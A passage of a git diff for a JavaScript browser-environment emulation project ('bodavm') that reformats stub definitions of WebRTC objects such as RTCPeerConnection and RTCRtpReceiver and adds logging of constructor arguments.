set: function oniceconnectionstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "oniceconnectionstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onconnectionstatechange", { + configurable: true, + enumerable: true, + get: function onconnectionstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onconnectionstatechange_get", arguments); + }, + set: function onconnectionstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onconnectionstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicegatheringstatechange", { + configurable: true, + enumerable: true, + get: function onicegatheringstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicegatheringstatechange_get", arguments); + }, + set: function onicegatheringstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicegatheringstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicecandidateerror", { + configurable: true, + enumerable: true, + get: function onicecandidateerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidateerror_get", arguments); + }, + set: function onicecandidateerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidateerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "ontrack", { + configurable: true, + enumerable: true, + get: function ontrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ontrack_get", arguments); + }, + set: function ontrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ontrack_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "sctp", { + configurable: true, + enumerable: true, + get: function sctp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "sctp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "ondatachannel", { + configurable: true, + enumerable: true, + get: function ondatachannel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ondatachannel_get", arguments); + }, + set: function ondatachannel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ondatachannel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onaddstream", { + configurable: true, + enumerable: true, + get: function onaddstream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onaddstream_get", arguments); + }, + set: function onaddstream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onaddstream_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onremovestream", { + configurable: true, + enumerable: true, + get: function onremovestream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onremovestream_get", arguments); + }, + set: function onremovestream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onremovestream_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addIceCandidate", { + configurable: true, + enumerable: true, + writable: true, + value: function addIceCandidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addIceCandidate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addStream", { + configurable: true, + enumerable: true, + writable: true, + value: function addStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function addTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addTrack", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addTransceiver", { + configurable: true, + enumerable: true, + writable: true, + value: function addTransceiver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addTransceiver", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createAnswer", { + configurable: true, + enumerable: true, + writable: true, + value: function createAnswer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createAnswer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createDTMFSender", { + configurable: true, + enumerable: true, + writable: true, + value: function createDTMFSender() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createDTMFSender", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createDataChannel", { + configurable: true, + enumerable: true, + writable: true, + value: function createDataChannel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createDataChannel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createOffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createOffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createOffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function getConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getConfiguration", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getLocalStreams", { + configurable: true, + enumerable: true, + writable: true, + value: function getLocalStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getLocalStreams", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getReceivers", { + configurable: true, + enumerable: true, + writable: true, + value: function getReceivers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getReceivers", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getRemoteStreams", { + configurable: true, + enumerable: true, + writable: true, + value: function getRemoteStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getRemoteStreams", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getSenders", { + configurable: true, + enumerable: true, + writable: true, + value: function getSenders() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getSenders", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getStats", { + configurable: true, + enumerable: true, + writable: true, + value: function getStats() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getStats", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getTransceivers", { + configurable: true, + enumerable: true, + writable: true, + value: function getTransceivers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getTransceivers", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeStream", { + configurable: true, + enumerable: true, + writable: true, + value: function removeStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "removeStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function removeTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "removeTrack", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "restartIce", { + configurable: true, + enumerable: true, + writable: true, + value: function restartIce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "restartIce", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function setConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setConfiguration", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setLocalDescription", { + configurable: true, + enumerable: true, + writable: true, + value: function setLocalDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setLocalDescription", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setRemoteDescription", { + configurable: true, + enumerable: true, + writable: true, + value: function setRemoteDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setRemoteDescription", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCPeerConnectionIceErrorEvent.js b/env_xbb_lastest_jsdom/env/RTCPeerConnectionIceErrorEvent.js index fc0d1f39..eda8ce26 100644 --- a/env_xbb_lastest_jsdom/env/RTCPeerConnectionIceErrorEvent.js +++ b/env_xbb_lastest_jsdom/env/RTCPeerConnectionIceErrorEvent.js @@ -1,11 +1,67 @@ -// RTCPeerConnectionIceErrorEvent对象 -bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'] = function RTCPeerConnectionIceErrorEvent(){if (!(this instanceof RTCPeerConnectionIceErrorEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCPeerConnectionIceErrorEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'], "RTCPeerConnectionIceErrorEvent"); -bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "address", {configurable:true, enumerable:true, get:function address (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "address_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "port_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "hostCandidate", {configurable:true, enumerable:true, get:function hostCandidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "hostCandidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "errorCode", {configurable:true, enumerable:true, get:function errorCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "errorCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "errorText", {configurable:true, enumerable:true, get:function errorText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "errorText_get", arguments)}, set:undefined},'prototype'); +// RTCPeerConnectionIceErrorEvent对象 + +bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'] = function RTCPeerConnectionIceErrorEvent() { + console.log_copy('RTCPeerConnectionIceErrorEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCPeerConnectionIceErrorEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCPeerConnectionIceErrorEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'], "RTCPeerConnectionIceErrorEvent"); +bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "address", { + configurable: true, + enumerable: true, + get: function address() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "address_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "port_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "hostCandidate", { + configurable: true, + enumerable: true, + get: function hostCandidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "hostCandidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "errorCode", { + configurable: true, + enumerable: true, + get: function errorCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "errorCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceErrorEvent', "errorText", { + configurable: true, + enumerable: true, + get: function errorText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent'].prototype, "RTCPeerConnectionIceErrorEvent", "errorText_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCPeerConnectionIceEvent.js b/env_xbb_lastest_jsdom/env/RTCPeerConnectionIceEvent.js index c8ead023..2e13e226 100644 --- a/env_xbb_lastest_jsdom/env/RTCPeerConnectionIceEvent.js +++ b/env_xbb_lastest_jsdom/env/RTCPeerConnectionIceEvent.js @@ -1,6 +1,27 @@ -// RTCPeerConnectionIceEvent对象 -bodavm.memory.globalobj['RTCPeerConnectionIceEvent'] = function RTCPeerConnectionIceEvent(){if (!(this instanceof RTCPeerConnectionIceEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCPeerConnectionIceEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnectionIceEvent'], "RTCPeerConnectionIceEvent"); -bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceEvent', "candidate", {configurable:true, enumerable:true, get:function candidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].prototype, "RTCPeerConnectionIceEvent", "candidate_get", arguments)}, set:undefined},'prototype'); +// RTCPeerConnectionIceEvent对象 + +bodavm.memory.globalobj['RTCPeerConnectionIceEvent'] = function RTCPeerConnectionIceEvent() { + console.log_copy('RTCPeerConnectionIceEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCPeerConnectionIceEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCPeerConnectionIceEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnectionIceEvent'], "RTCPeerConnectionIceEvent"); +bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('RTCPeerConnectionIceEvent', "candidate", { + configurable: true, + enumerable: true, + get: function candidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnectionIceEvent'].prototype, "RTCPeerConnectionIceEvent", "candidate_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCRtpReceiver.js b/env_xbb_lastest_jsdom/env/RTCRtpReceiver.js index d3e7daea..61f8ed03 100644 --- a/env_xbb_lastest_jsdom/env/RTCRtpReceiver.js +++ b/env_xbb_lastest_jsdom/env/RTCRtpReceiver.js @@ -1,13 +1,99 @@ -// RTCRtpReceiver对象 -bodavm.memory.globalobj['RTCRtpReceiver'] = function RTCRtpReceiver(){if (!(this instanceof RTCRtpReceiver)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpReceiver'], "RTCRtpReceiver"); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getCapabilities", {configurable:true, enumerable:true, writable:true, value:function getCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].undefined, "RTCRtpReceiver", "getCapabilities", arguments)}}); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "track_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "transport", {configurable:true, enumerable:true, get:function transport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "transport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "rtcpTransport", {configurable:true, enumerable:true, get:function rtcpTransport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "rtcpTransport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "playoutDelayHint", {configurable:true, enumerable:true, get:function playoutDelayHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "playoutDelayHint_get", arguments)}, set:function playoutDelayHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "playoutDelayHint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "createEncodedStreams", {configurable:true, enumerable:true, writable:true, value:function createEncodedStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "createEncodedStreams", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getContributingSources", {configurable:true, enumerable:true, writable:true, value:function getContributingSources (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getContributingSources", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getParameters", {configurable:true, enumerable:true, writable:true, value:function getParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getStats", {configurable:true, enumerable:true, writable:true, value:function getStats (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getStats", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getSynchronizationSources", {configurable:true, enumerable:true, writable:true, value:function getSynchronizationSources (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getSynchronizationSources", arguments)}},'prototype'); +// RTCRtpReceiver对象 + +bodavm.memory.globalobj['RTCRtpReceiver'] = function RTCRtpReceiver() { + console.log_copy('RTCRtpReceiver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RTCRtpReceiver)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpReceiver'], "RTCRtpReceiver"); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getCapabilities", { + configurable: true, + enumerable: true, + writable: true, + value: function getCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].undefined, "RTCRtpReceiver", "getCapabilities", arguments); + } +}); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "transport", { + configurable: true, + enumerable: true, + get: function transport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "transport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "rtcpTransport", { + configurable: true, + enumerable: true, + get: function rtcpTransport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "rtcpTransport_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "playoutDelayHint", { + configurable: true, + enumerable: true, + get: function playoutDelayHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "playoutDelayHint_get", arguments); + }, + set: function playoutDelayHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "playoutDelayHint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "createEncodedStreams", { + configurable: true, + enumerable: true, + writable: true, + value: function createEncodedStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "createEncodedStreams", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getContributingSources", { + configurable: true, + enumerable: true, + writable: true, + value: function getContributingSources() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getContributingSources", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function getParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getStats", { + configurable: true, + enumerable: true, + writable: true, + value: function getStats() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getStats", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getSynchronizationSources", { + configurable: true, + enumerable: true, + writable: true, + value: function getSynchronizationSources() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getSynchronizationSources", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RTCRtpSender.js b/env_xbb_lastest_jsdom/env/RTCRtpSender.js index 96cd9baf..99790ffe 100644 --- a/env_xbb_lastest_jsdom/env/RTCRtpSender.js +++ b/env_xbb_lastest_jsdom/env/RTCRtpSender.js @@ -1,14 +1,105 @@ -// RTCRtpSender对象 -bodavm.memory.globalobj['RTCRtpSender'] = function RTCRtpSender(){if (!(this instanceof RTCRtpSender)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpSender'], "RTCRtpSender"); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "getCapabilities", {configurable:true, enumerable:true, writable:true, value:function getCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].undefined, "RTCRtpSender", "getCapabilities", arguments)}}); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "track_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "transport", {configurable:true, enumerable:true, get:function transport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "transport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "rtcpTransport", {configurable:true, enumerable:true, get:function rtcpTransport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "rtcpTransport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "dtmf", {configurable:true, enumerable:true, get:function dtmf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "dtmf_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "createEncodedStreams", {configurable:true, enumerable:true, writable:true, value:function createEncodedStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "createEncodedStreams", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "getParameters", {configurable:true, enumerable:true, writable:true, value:function getParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "getParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "getStats", {configurable:true, 